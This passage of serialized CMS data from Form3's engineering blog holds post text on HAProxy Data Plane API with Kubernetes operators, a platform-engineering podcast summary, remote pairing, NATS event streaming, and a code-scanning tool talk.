necessary.",[26613],{"start":3964,"end":6836,"type":489,"data":26614},{"link_type":491,"url":26358,"target":493},"rich_text$959a1e91-ce00-4de2-bedb-203ace27d047",{"variation":437,"version":527,"items":26617,"primary":26618,"id":26637,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":26619,"body":26620,"cta_label":5,"cta_link":26624,"aside_type":533,"aside_image":26625,"aside_video":26632,"aside_video_poster":26633,"aside_video_reduced_motion":26634,"aside_video_url":5,"aside_embed":26635,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":26636,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[26621],{"type":25,"text":26622,"spans":26623,"direction":445},"The Data Plane API maintains all of the HAProxy terminology we are familiar with – frontends, backends, servers – but also provides some abstractions to ease the burden of management. One such concept is the SiteFarm – an abstraction which makes it extremely easy to create a simple “site” with multiple backend servers. Depending on your use case, these abstractions may help or hinder – configurability is sacrificed in favour of this frictionless usage.",[],{"link_type":434},{"dimensions":26626,"alt":5,"copyright":5,"url":26629,"id":26630,"edit":26631},{"width":26627,"height":26628},1210,1599,"\u002F_prismic-media\u002F1f0d28f3a71c127f-RkP5Kpp0vzv9DWGT_8725baa6-cae3-47f9-9b73-504b04c.png","RkP5Kpp0vzv9DWGT",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$f6f0a207-0893-4295-8231-6f8deca8aaae",{"variation":437,"version":438,"items":26639,"primary":26640,"id":26645,"slice_type":468,"slice_label":5},[],{"body":26641},[26642],{"type":25,"text":26643,"spans":26644},"On top of this, the Data Plane API is transactional. The user can build multiple changes into a single transaction – for example, you wish to delete one backend server and add another – and commit these all at once. In this example, without transactions, this could result in old backend servers being removed without new ones being added. Transactions make changes to running load balancers safe.",[],"rich_text$b64c5d12-2695-48df-b1be-b889666906cd",{"variation":437,"version":438,"items":26647,"primary":26648,"id":26665,"slice_type":468,"slice_label":5},[],{"body":26649},[26650,26653,26656,26659,26662],{"type":988,"text":26651,"spans":26652,"direction":445},"Kubernetes Operators",[],{"type":25,"text":26654,"spans":26655,"direction":445},"Now, an abrupt change of topic – but I promise it will come together soon. Kubernetes operators.",[],{"type":25,"text":26657,"spans":26658,"direction":445},"Human operators who look after specific applications and services have deep knowledge of how the system ought to behave, how to deploy it, and how to react if there are problems People who run such workloads - on Kubernetes or otherwise - often make use of automation to take care of repeatable tasks.",[],{"type":25,"text":26660,"spans":26661,"direction":445},"The Kubernetes Operator pattern captures how you can write code to automate a task beyond what Kubernetes itself provides. The pattern aims to capture the key aim of a human operator who is managing a service or set of services.",[],{"type":25,"text":26663,"spans":26664,"direction":445},"Kubernetes Operators make use of the control loop. In robotics and automation, a control loop is a non-terminating loop that regulates the state of a system. One example of a control loop is a thermostat in a room. When you set the temperature, you are telling the thermostat about your desired state. The actual room temperature is the current state.",[],"rich_text$d25db7e7-c910-4754-812f-11b5271fc831",{"variation":437,"version":527,"items":26667,"primary":26668,"id":26686,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":26669,"body":26670,"cta_label":5,"cta_link":26674,"aside_type":533,"aside_image":26675,"aside_video":26681,"aside_video_poster":26682,"aside_video_reduced_motion":26683,"aside_video_url":5,"aside_embed":26684,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":26685,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[26671],{"type":25,"text":26672,"spans":26673,"direction":445},"The thermostat acts to bring the current state closer to the desired state, by turning equipment on or off. In our case, we refer to this at observing the state of HAProxy configuration, calculating the difference between observed state and desired state, and updating the HAProxy configuration to align.",[],{"link_type":434},{"dimensions":26676,"alt":5,"copyright":5,"url":26678,"id":26679,"edit":26680},{"width":26677,"height":6087},1420,"\u002F_prismic-media\u002F1d70d72485560410-zA9eRqbBvmF9xiTy_898061f1-2982-49c5-8547-13084b1.png","zA9eRqbBvmF9xiTy",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$9639ff93-b1e5-46dc-b470-a5e995256313",{"variation":437,"version":438,"items":26688,"primary":26689,"id":26694,"slice_type":468,"slice_label":5},[],{"body":26690},[26691],{"type":25,"text":26692,"spans":26693},"But how do we know the desired state in such a complex architecture?",[],"rich_text$c6bfa92e-7dfb-42b1-9923-9780c7149db7",{"variation":437,"version":438,"items":26696,"primary":26697,"id":26708,"slice_type":468,"slice_label":5},[],{"body":26698},[26699,26702,26705],{"type":988,"text":26700,"spans":26701,"direction":445},"Custom Resource Definitions",[],{"type":25,"text":26703,"spans":26704,"direction":445},"The missing link here is Kubernetes custom resource definitions. Fundamentally, custom resources are extensions of the Kubernetes API that are not necessarily available in a default Kubernetes installation. It represents a customization of a particular Kubernetes installation. However, many core Kubernetes functions are now built using custom resources, making Kubernetes more modular.",[],{"type":25,"text":26706,"spans":26707,"direction":445},"On their own, custom resources let you store and retrieve structured data. When you combine a custom resource with a custom controller, custom resources provide a true declarative API. That is, you declare the desired state of your resource and the controller keeps the current state in sync with your declared desired state. This is in contrast to an imperative API, where you instruct a server what to do.",[],"rich_text$fbbbeef5-119f-4331-9cc9-8fe8992f2ffe",{"variation":437,"version":438,"items":26710,"primary":26711,"id":26743,"slice_type":468,"slice_label":5},[],{"body":26712},[26713,26716,26719,26722,26725,26728,26731,26734],{"type":988,"text":26714,"spans":26715,"direction":445},"The Result: Dynamic HAProxy Configuration",[],{"type":25,"text":26717,"spans":26718,"direction":445},"In our use case:",[],{"type":3373,"text":26720,"spans":26721,"direction":445},"We declare, at a high level in YAML, the desired state of a given organisation’s network ingress, egress, and security configuration.",[],{"type":3373,"text":26723,"spans":26724,"direction":445},"The operator observes that an Organisation resource has been created or updated.",[],{"type":3373,"text":26726,"spans":26727,"direction":445},"The control loop ensures that our low-level HAProxy config matches our high-level declared desired state.",[],{"type":3373,"text":26729,"spans":26730,"direction":445},"The operator updates our Organisation resource with fields such as finalizers which we will see in our upcoming demo.",[],{"type":25,"text":26732,"spans":26733,"direction":445},"Thus, any undesired change to our HAProxy configuration – a virtual machine rebuild, a manual change, etc. – will be detected and rectified by the control loop. This gives us a repeatable, automated, reliable, and easily maintainable translation layer from business requirements to HAProxy configuration.",[],{"type":25,"text":26735,"spans":26736,"direction":445},"If you’re interested in learning more, feel free to reach out to Brendan or Piotr via LinkedIn!",[26737,26740],{"start":9237,"end":1797,"type":489,"data":26738},{"link_type":491,"url":26739,"target":493},"https:\u002F\u002Fuk.linkedin.com\u002Fin\u002Fbrendan-devenney",{"start":854,"end":3289,"type":489,"data":26741},{"link_type":491,"url":26742,"target":493},"https:\u002F\u002Fuk.linkedin.com\u002Fin\u002Fpolchawa","rich_text$f04b59ef-7b3d-4160-9981-eb266880b895",{"id":26745,"uid":26746,"type":25949,"data":26747},"alz1OBEAACwAUWh_","ep26-podcast",{"title":26748,"excerpt":26749,"card_image":26750,"published_date":26753,"reading_time":643,"tag":25960,"dek":5,"featured_image":26754,"about_form3":26755,"client_about_heading":5,"client_about_body":26756,"author_name":18970,"author_title":18971,"author_photo":26757,"author_bio":26760,"author_linkedin":26763,"slices":26765,"meta_title":26748,"meta_description":26749},".tech Podcast - Role of a platform engineer","Technology is moving at a very fast pace. More and more services are becoming available on the cloud and the physical infrastructure is being pushed further from the engineers. Ben Cordero, a SRE at Snyk, joined our host, Kevin Holditch, to describe the role of a platform engineer. What things should they be focusing on? What should they be on call for? What experience should they be aiming to give the engineers using the platform? Ben provides a fascinating insight to how platform engineering has changed and will continue to change as time goes on.",{"dimensions":26751,"alt":25955,"copyright":5,"url":25956,"id":25957,"edit":26752},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2022-02-15",{},[],[],{"dimensions":26758,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":26759},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[26761],{"type":25,"text":25971,"spans":26762},[],{"link_type":491,"key":26764,"url":25975,"target":493},"1c4c7aa1-9024-4c45-ba39-25b3b2c3b0df",[26766,26785,26805,26834,26859,26885,26899,26928],{"variation":437,"version":438,"items":26767,"primary":26768,"id":26784,"slice_type":468,"slice_label":5},[],{"body":26769},[26770,26772,26781],{"type":746,"text":26748,"spans":26771},[],{"type":25,"text":26773,"spans":26774},"Ben Cordero from Snyk discusses where we draw the line between platform and product. Then, he explains the Kubernetes operator pattern, which is a good developer experience. Finally, he touches upon what a good on-call rotation is and how to structure it without burning out engineers.",[26775,26778],{"start":398,"end":602,"type":489,"data":26776},{"link_type":491,"url":26777,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fbencordero\u002F",{"start":6911,"end":703,"type":489,"data":26779},{"link_type":491,"url":26780,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fsnyk\u002F",{"type":25,"text":26782,"spans":26783},"Ben is an experienced SRE, with a long track record of building and testing systems. Here are some of his key highlights on building and running platform, as well as his experiences being a platform engineer.",[],"rich_text$cb33a524-ddfb-4714-bcc3-f1f91473e060",{"variation":437,"version":527,"items":26786,"primary":26787,"id":26804,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":26788,"body":26792,"cta_label":10704,"cta_link":26795,"aside_type":5,"aside_image":26798,"aside_video":26799,"aside_video_poster":26800,"aside_video_reduced_motion":26801,"aside_video_url":5,"aside_embed":26802,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":26803,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[26789],{"type":746,"text":26790,"spans":26791},"Ep 26 .tech - Role of a platform engineer",[],[26793],{"type":25,"text":10702,"spans":26794},[],{"link_type":491,"key":26796,"url":26797},"b6a6a0cd-562c-40bc-9ed4-e0c3a22d5de1","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-26-tech-role-of-a-platform-engineer-kRAdeSDT",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$39c0d3bb-c43d-4528-bfc3-4ca94b1c471e",{"variation":437,"version":438,"items":26806,"primary":26807,"id":26833,"slice_type":468,"slice_label":5},[],{"body":26808},[26809,26812,26815,26818,26821,26824,26827,26830],{"type":746,"text":26810,"spans":26811},"Drawing the line between platform and software",[],{"type":25,"text":26813,"spans":26814},"Companies should be focusing on hiring engineers to build product. Often, early stage startups decide not to have a platform team. As the company grows, from 10 to about 100 engineers, they begin to focus on hiring platform engineers to enable faster delivery.",[],{"type":25,"text":26816,"spans":26817},"There are lots of aspects a platform engineer can focus on: pipelines, build systems, testing or observability stacks. Having someone dedicated to these things can help engineers deliver more efficiently.",[],{"type":1151,"text":26819,"spans":26820},"The platform team really can take care of anything that falls in between teams and that teams share. However, teams should be involved in the design and development of these shared pieces of functionality.",[],{"type":1151,"text":26822,"spans":26823},"Communication is key to make sure that the platform team is able to support teams in delivering as fast as possible.",[],{"type":25,"text":26825,"spans":26826},"Having a consistent way to deliver workloads allows teams to achieve better efficiency.",[],{"type":1151,"text":26828,"spans":26829},"At Form3, our teams get Terraform workspaces that they are responsible for maintaining. The platform team are then responsible for keeping the underlying clusters running.",[],{"type":1151,"text":26831,"spans":26832},"At Snyk, the Helm chart itself is the hand off point between platform and product teams. Any namespace Kubernetes resource can be opened up as the platform API.",[],"rich_text$3ee6ebe5-e307-4afb-a47e-509197221dfa",{"variation":437,"version":438,"items":26835,"primary":26836,"id":26858,"slice_type":468,"slice_label":5},[],{"body":26837},[26838,26841,26846,26849,26852,26855],{"type":746,"text":26839,"spans":26840},"The Kubernetes operator pattern",[],{"type":25,"text":26842,"spans":26843},"The Kubernetes operator pattern is a good approach for application specific infrastructure. It gives us the following breakdown:",[26844],{"start":4603,"end":690,"type":489,"data":26845},{"link_type":491,"url":26352,"target":493},{"type":1151,"text":26847,"spans":26848},"From the developer point of view, you have a small YAML file that describes the resources and workloads.",[],{"type":1151,"text":26850,"spans":26851},"Outside of that module, you have the URL that you need to connect to, automatically provisioned credentials, metrics, dashboards, alerts etc. hidden behind the API abstraction.",[],{"type":1151,"text":26853,"spans":26854},"The implementation of that abstraction is done by the in-house platform team. They can do upgrades and migrations without any changes to API or disruptions to the product team.",[],{"type":25,"text":26856,"spans":26857},"Stateful Kubernetes workloads are trickier to update. You could even go so far as to form specialised platform teams that rebuild them on different schedules than the stateless workloads",[],"rich_text$fc3cc965-a670-4e02-a667-302db4db3391",{"variation":437,"version":438,"items":26860,"primary":26861,"id":26884,"slice_type":468,"slice_label":5},[],{"body":26862},[26863,26866,26878,26881],{"type":746,"text":26864,"spans":26865},"Serverless",[],{"type":25,"text":26867,"spans":26868},"The industry trend seems to be towards serverless. We have Amazon EKS Serverless, AWS Fargate and even Amazon Aurora Serverless. This seems to diminish the need for a dedicated platform team as we push the platform responsibility for the cloud provider.",[26869,26872,26875],{"start":592,"end":3872,"type":489,"data":26870},{"link_type":491,"url":26871,"target":493},"https:\u002F\u002Fdocs.aws.amazon.com\u002Feks\u002Flatest\u002Fuserguide\u002Fwhat-is-eks.html",{"start":1406,"end":1409,"type":489,"data":26873},{"link_type":491,"url":26874,"target":493},"https:\u002F\u002Faws.amazon.com\u002Ffargate\u002F",{"start":3886,"end":3294,"type":489,"data":26876},{"link_type":491,"url":26877},"https:\u002F\u002Faws.amazon.com\u002Frds\u002Faurora\u002Fserverless\u002F",{"type":25,"text":26879,"spans":26880},"The cost efficiency of going serverless is useful for companies trying to optimise product for infrastructure. Another optimisation is the single tenant optimisation for data locality or risk averse customers.",[],{"type":25,"text":26882,"spans":26883},"There is a case to be made that if startups should serverless from the ground up today, instead of reaching for Kubernetes immediately. However, serverless principles are still relatively new, so you might have a hard time getting engineers with the in-depth knowledge required to build fully serverless. It’s therefore not straightforward to start with serverless.",[],"rich_text$89dcbe28-ee5e-4608-be66-0fa68cd2bc9a",{"variation":437,"version":438,"items":26886,"primary":26887,"id":26898,"slice_type":468,"slice_label":5},[],{"body":26888},[26889,26892,26895],{"type":746,"text":26890,"spans":26891},"Reducing the friction of deploying to production",[],{"type":25,"text":26893,"spans":26894},"Focus on new starters. New joiners to the company won’t know how to use your tools, solve incidents and run software in production. Make the new starter experience great. This will also make it easier for existing engineers to switch to a new codebase at your company and contribute immediately.",[],{"type":25,"text":26896,"spans":26897},"Platform teams should add the pain points of new starters to their roadmaps. They are product teams where the features are developer velocity and on-call incident diagnosis.",[],"rich_text$8a5197cf-d614-447e-b47a-2e4521ed2a27",{"variation":437,"version":438,"items":26900,"primary":26901,"id":26927,"slice_type":468,"slice_label":5},[],{"body":26902},[26903,26906,26909,26918,26921,26924],{"type":746,"text":26904,"spans":26905},"Running on-call",[],{"type":25,"text":26907,"spans":26908},"Most engineers are expected to be on-call and run platforms that are available 24\u002F7. Keeping the product alive and your customers happy is where the focus and attention should be.",[],{"type":25,"text":26910,"spans":26911},"The Google SRE book, Site Reliability Engineering: How Google Runs Production Systems describes SLOs and alerting on symptoms that actually cause customers pain, as opposed alerting when the server goes down or on specific CPU.",[26912,26915],{"start":703,"end":11954,"type":489,"data":26913},{"link_type":491,"url":26914},"https:\u002F\u002Fbooks.google.co.uk\u002Fbooks?id=81UrjwEACAAJ",{"start":5328,"end":3964,"type":489,"data":26916},{"link_type":491,"url":26917},"https:\u002F\u002Fsre.google\u002Fsre-book\u002Fservice-level-objectives\u002F",{"type":25,"text":26919,"spans":26920},"Noisy or meaningless alerts burn out engineers.",[],{"type":25,"text":26922,"spans":26923},"If you’re writing code, you should be the one taking the pager for it. Platform engineers can never have enough context on how to fix a product feature bug.",[],{"type":25,"text":26925,"spans":26926},"Platform teams can help when there is something fundamentally wrong with the underlying platform, but product teams should have contingencies for outages.",[],"rich_text$d341279e-7764-4400-bb10-e45b9c054416",{"variation":437,"version":438,"items":26929,"primary":26930,"id":26939,"slice_type":468,"slice_label":5},[],{"body":26931},[26932,26934],{"type":746,"text":26190,"spans":26933},[],{"type":25,"text":26935,"spans":26936},"If you enjoyed this episode and would like to be part of the podcast, then please fill in this form and we’ll be in touch. ✍️",[26937],{"start":2651,"end":19482,"type":489,"data":26938},{"link_type":491,"url":26197,"target":493},"rich_text$dbbc3273-22bc-4e7f-9459-01a19b704ceb",{"id":26941,"uid":26942,"type":25949,"data":26943},"alz1SBEAAC4AUWjf","remote-pair-programming",{"title":7469,"excerpt":7470,"card_image":26944,"published_date":26947,"reading_time":4603,"tag":25960,"dek":5,"featured_image":26948,"about_form3":26949,"client_about_heading":5,"client_about_body":26950,"author_name":26951,"author_title":26952,"author_photo":26953,"author_bio":26959,"author_linkedin":26966,"slices":26969,"meta_title":7469,"meta_description":7470},{"dimensions":26945,"alt":413,"copyright":5,"url":414,"id":415,"edit":26946},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2021-10-02",{},[],[],"Andy Kuszyk","Staff Engineer",{"dimensions":26954,"alt":26951,"copyright":5,"url":26956,"id":26957,"edit":26958},{"width":5080,"height":26955},473,"\u002F_prismic-media\u002Fc371d17a59432918-GFOBoL2Tovd3zPoj_27d09fad-dd24-483c-92fc-1ac2a07.jpeg","GFOBoL2Tovd3zPoj",{"x":398,"y":398,"zoom":399,"background":650},[26960],{"type":25,"text":26961,"spans":26962},"Andy Kuszyk is a Staff Engineer at Form3, based in Southampton. He's been working as a software engineer for 8 years with a variety of technologies, including .NET, Python and most recently Go. Check out more of his tech articles on his blog.",[26963],{"start":19275,"end":18958,"type":489,"data":26964},{"link_type":491,"url":26965,"target":493},"http:\u002F\u002Fandykuszyk.github.io\u002F",{"link_type":491,"key":26967,"url":26968,"target":493},"728e3fcc-7ef0-4cb0-bfc9-ba37c72275d4","https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fandy-kuszyk",[26970,26989,27002],{"variation":437,"version":527,"items":26971,"primary":26972,"id":26988,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":26973,"body":26976,"cta_label":5,"cta_link":26977,"aside_type":533,"aside_image":26978,"aside_video":26983,"aside_video_poster":26984,"aside_video_reduced_motion":26985,"aside_video_url":5,"aside_embed":26986,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":26987,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[26974],{"type":746,"text":7487,"spans":26975,"direction":445},[],[],{"link_type":434},{"dimensions":26979,"alt":5,"copyright":5,"url":26980,"id":26981,"edit":26982},{"width":7493,"height":7494},"\u002F_prismic-media\u002Faf5b8a602d8fa65c-pPyHtBgu6YxU1c-w_070ad29b-670c-4e83-bed0-8e0b53a.jpeg","pPyHtBgu6YxU1c-w",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$275b347c-bb27-4ac3-9cac-8754d60a156f",{"variation":437,"version":438,"items":26990,"primary":26991,"id":27001,"slice_type":468,"slice_label":5},[],{"body":26992},[26993,26995,26997,26999],{"type":25,"text":7509,"spans":26994,"direction":445},[],{"type":25,"text":7512,"spans":26996,"direction":445},[],{"type":25,"text":7515,"spans":26998,"direction":445},[],{"type":25,"text":7518,"spans":27000,"direction":445},[],"rich_text$426d909c-283b-4e44-9ccd-3d8ac8021e9b",{"variation":437,"version":438,"items":27003,"primary":27004,"id":27015,"slice_type":468,"slice_label":5},[],{"body":27005},[27006,27008,27010,27012],{"type":988,"text":7526,"spans":27007,"direction":445},[],{"type":25,"text":7529,"spans":27009,"direction":445},[],{"type":25,"text":7532,"spans":27011,"direction":445},[],{"type":25,"text":27013,"spans":27014,"direction":445},"Also, it helps me to feel close to my colleagues and when we have our company meet-ups it’s great as we already know each other well and end up having a right laugh at those get togethers!",[],"rich_text$904bab2d-7704-4613-b022-e7b8848f2ad6",{"id":27017,"uid":27018,"type":25949,"data":27019},"alz1RhEAAC4AUWjV","gophercon-nats",{"title":27020,"excerpt":27021,"card_image":27022,"published_date":27025,"reading_time":643,"tag":205,"dek":5,"featured_image":27026,"about_form3":27027,"client_about_heading":5,"client_about_body":27028,"author_name":18970,"author_title":18971,"author_photo":27029,"author_bio":27032,"author_linkedin":27035,"slices":27037,"meta_title":27101,"meta_description":27021},"GopherCon UK 2021: Using NATS for multi cloud event streaming","Form3 has been successfully using NATS for event streaming on our multi cloud architecture, which powers payments for Financial Institutions at high volumes. This talk shares our knowledge and usage of this cool technology with the tech community.",{"dimensions":27023,"alt":413,"copyright":5,"url":414,"id":415,"edit":27024},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2021-11-25",{},[],[],{"dimensions":27030,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":27031},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[27033],{"type":25,"text":25971,"spans":27034},[],{"link_type":491,"key":27036,"url":25975,"target":493},"1ed77f4c-4a0c-4cef-adbb-73c0bfb83ae7",[27038,27046,27054,27079],{"variation":437,"version":438,"items":27039,"primary":27040,"id":27045,"slice_type":468,"slice_label":5},[],{"body":27041},[27042],{"type":25,"text":27043,"spans":27044},"NATS is a lightweight, easy to deploy, high performance messaging system that builds upon cloud native infrastructure concepts.\nIt is also open source and written in Go. Form3 has been successfully using NATS for event streaming on our multi cloud architecture, which powers payments for Financial Institutions at high volumes.\nThis talk shares our knowledge and usage of this cool technology with the tech community.",[],"rich_text$41ebb960-70b4-4f62-befd-605607ebef4d",{"variation":437,"version":438,"items":27047,"primary":27048,"id":27053,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":27049,"caption":5},{"embed_url":18860,"type":2048,"version":2049,"title":27050,"author_name":26240,"author_url":26241,"provider_name":283,"provider_url":2050,"thumbnail_url":27051,"thumbnail_width":2052,"thumbnail_height":2053,"html":27052,"height":2055,"width":2056},"GopherCon UK 2021: Adelina Simion - Using NATS","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FAhnL5addsVo\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FAhnL5addsVo?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"GopherCon UK 2021: Adelina Simion - Using NATS\">\u003C\u002Fiframe>","embed$c5b53e9c-2da1-4119-9aa5-cfe3bb0565b6",{"variation":437,"version":438,"items":27055,"primary":27056,"id":27078,"slice_type":468,"slice_label":5},[],{"body":27057},[27058,27060,27063,27066,27069,27072,27075],{"type":746,"text":26154,"spans":27059,"direction":445},[],{"type":25,"text":27061,"spans":27062,"direction":445},"Here are some key highlights of the talk:",[],{"type":3373,"text":27064,"spans":27065,"direction":445},"Form3’s platform is critical payments infrastructure, processing millions of payments every day across the UK and Europe.\nOur old architecture relied on message fanout using SNS & SQS to send payments to our validation and gateway services, which do all the securing and mapping of the payments against the external payments infrastructure.",[],{"type":3373,"text":27067,"spans":27068,"direction":445},"While this architecture was easy to start with, scale and secure, we measured a few spikes in latency of 300ms+ when our platform is processing high volumes. It was time to evolve our architecture and NATS was identified as a good solution.",[],{"type":3373,"text":27070,"spans":27071,"direction":445},"Core NATS is simple, fast and at its core is a fire-and-forget, at-most-once messaging system. You can see our demo implementations of a NATS Core Publisher and NATS Core Subscriber.",[],{"type":3373,"text":27073,"spans":27074,"direction":445},"JetStream is the recommended option for persistence and message guarantees. It has many features which were required of mature production systems, such as at-least-once delivery, data at rest encryption, horizontal scalability. You can see our demo implementations of a JetStream Publisher, JetStream Push Consumer and JetStream Pull Consumer.",[],{"type":3373,"text":27076,"spans":27077,"direction":445},"We’ve been using NATS Streaming as an event bus in our data centers in production and successfully delivering over a million messages every day.We are now going to introduce JetStream elsewhere in our payments platform. The usecase of the SNS & SQS fanout fits the NATS usage very well, so we can use JetStream as our event bus. The NATS streaming and JetStream clusters are bridged using NATS leaf nodes.",[],"rich_text$b3479f70-cb0f-439b-a76f-82aab9d9d55a",{"variation":437,"version":527,"items":27080,"primary":27081,"id":27100,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":27082,"body":27083,"cta_label":5,"cta_link":27087,"aside_type":533,"aside_image":27088,"aside_video":27095,"aside_video_poster":27096,"aside_video_reduced_motion":27097,"aside_video_url":5,"aside_embed":27098,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":27099,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[27084],{"type":25,"text":27085,"spans":27086,"direction":445},"This talk has multiple sections, building from NATS fundamentals, continuing on to JetStream and then on to how we use NATS in production at Form3. ",[],{"link_type":434},{"dimensions":27089,"alt":5,"copyright":5,"url":27092,"id":27093,"edit":27094},{"width":27090,"height":27091},1703,1299,"\u002F_prismic-media\u002F529d5086fc4ff2c1-qDpFLMRA1hL7SG-1_36dc7f70-f984-42f1-953c-e28e04b.png","qDpFLMRA1hL7SG-1",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$09459033-4523-4009-b669-ed7a471f4786","Gophercon UK 2021: Using NATS for multi cloud event streaming",{"id":27103,"uid":27104,"type":25949,"data":27105},"alz1QhEAACsAUWi8","conf42-code-insight",{"title":27106,"excerpt":27107,"card_image":27108,"published_date":27111,"reading_time":1130,"tag":205,"dek":5,"featured_image":27112,"about_form3":27113,"client_about_heading":5,"client_about_body":27114,"author_name":18970,"author_title":18971,"author_photo":27115,"author_bio":27118,"author_linkedin":27121,"slices":27123,"meta_title":27106,"meta_description":27190},"Conf42 DevSecOps 2021: Building our own custom Code Insight tool at Form3","We are on a journey in scaling up - we are expanding our codebase and our engineering teams as fast as we can! In this talk, we present Code Insight, our tool for scanning our code for vulnerabilities.",{"dimensions":27109,"alt":413,"copyright":5,"url":414,"id":415,"edit":27110},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2021-12-08",{},[],[],{"dimensions":27116,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":27117},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[27119],{"type":25,"text":25971,"spans":27120},[],{"link_type":491,"key":27122,"url":25975,"target":493},"7c9a148f-23ab-419f-abce-2ad8a66c95ef",[27124,27132,27143,27165],{"variation":437,"version":438,"items":27125,"primary":27126,"id":27131,"slice_type":468,"slice_label":5},[],{"body":27127},[27128],{"type":25,"text":27129,"spans":27130},"We are on a journey in scaling up - we are expanding our codebase and our engineering teams as fast as we can! In this talk, we present Code Insight, our tool for scanning our code for vulnerabilities. Watch our talk to find out how we built and rolled out Code Insight to our teams, enabling them to deliver faster than ever before!",[],"rich_text$060364a9-afd9-4dcc-9b9f-c4a56646f3de",{"variation":437,"version":438,"items":27133,"primary":27134,"id":27142,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":27135,"caption":5},{"embed_url":27136,"type":2048,"version":2049,"title":27137,"author_name":27138,"author_url":27139,"provider_name":283,"provider_url":2050,"thumbnail_url":27140,"thumbnail_width":2052,"thumbnail_height":2053,"html":27141,"height":2055,"width":2056},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=UvOdp38QVMs","Building our own custom Code Insight tool | Adelina Simion & Ross McFarlane | Conf42 DevSecOps 2021","Conf42","https:\u002F\u002Fwww.youtube.com\u002F@conf42","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FUvOdp38QVMs\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FUvOdp38QVMs?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Building our own custom Code Insight tool | Adelina Simion & Ross McFarlane | Conf42 DevSecOps 2021\">\u003C\u002Fiframe>","embed$3d4d960c-b3e4-4426-998a-d8f50b085779",{"variation":437,"version":438,"items":27144,"primary":27145,"id":27164,"slice_type":468,"slice_label":5},[],{"body":27146},[27147,27149,27152,27155,27158,27161],{"type":988,"text":26154,"spans":27148,"direction":445},[],{"type":25,"text":27150,"spans":27151,"direction":445},"This talk shares some key points in our journey to introduce a new static code analysis tools in our teams.\nHere are some key highlights of the talk:",[],{"type":1151,"text":27153,"spans":27154,"direction":445},"We are a rapidly growing engineering organisation. This means that we have engineers which are quite new to the codebase contributing to live services. We own 500 repositories in different languages such as Terraform, Go, Java, YAML which our developers contribute to at different frequencies.",[],{"type":1151,"text":27156,"spans":27157,"direction":445},"Form3’s platform is compliant with the highest standards of security and should be actively maintained to remain free from vulnerabilities.",[],{"type":1151,"text":27159,"spans":27160,"direction":445},"Our teams needed a centralised source code scanning solution that could integrate well with our development workflows. A central configuration makes it easy to maintain and change system wide configs.",[],{"type":1151,"text":27162,"spans":27163,"direction":445},"We implemented a GithubApp for code insight that we can integrate into our Travis workflows. Under the hood the app uses Github Webhooks, Amazon API Gateway and AWS Lambda and Fargate spot instances to run our scans. New scans are configured using Docker 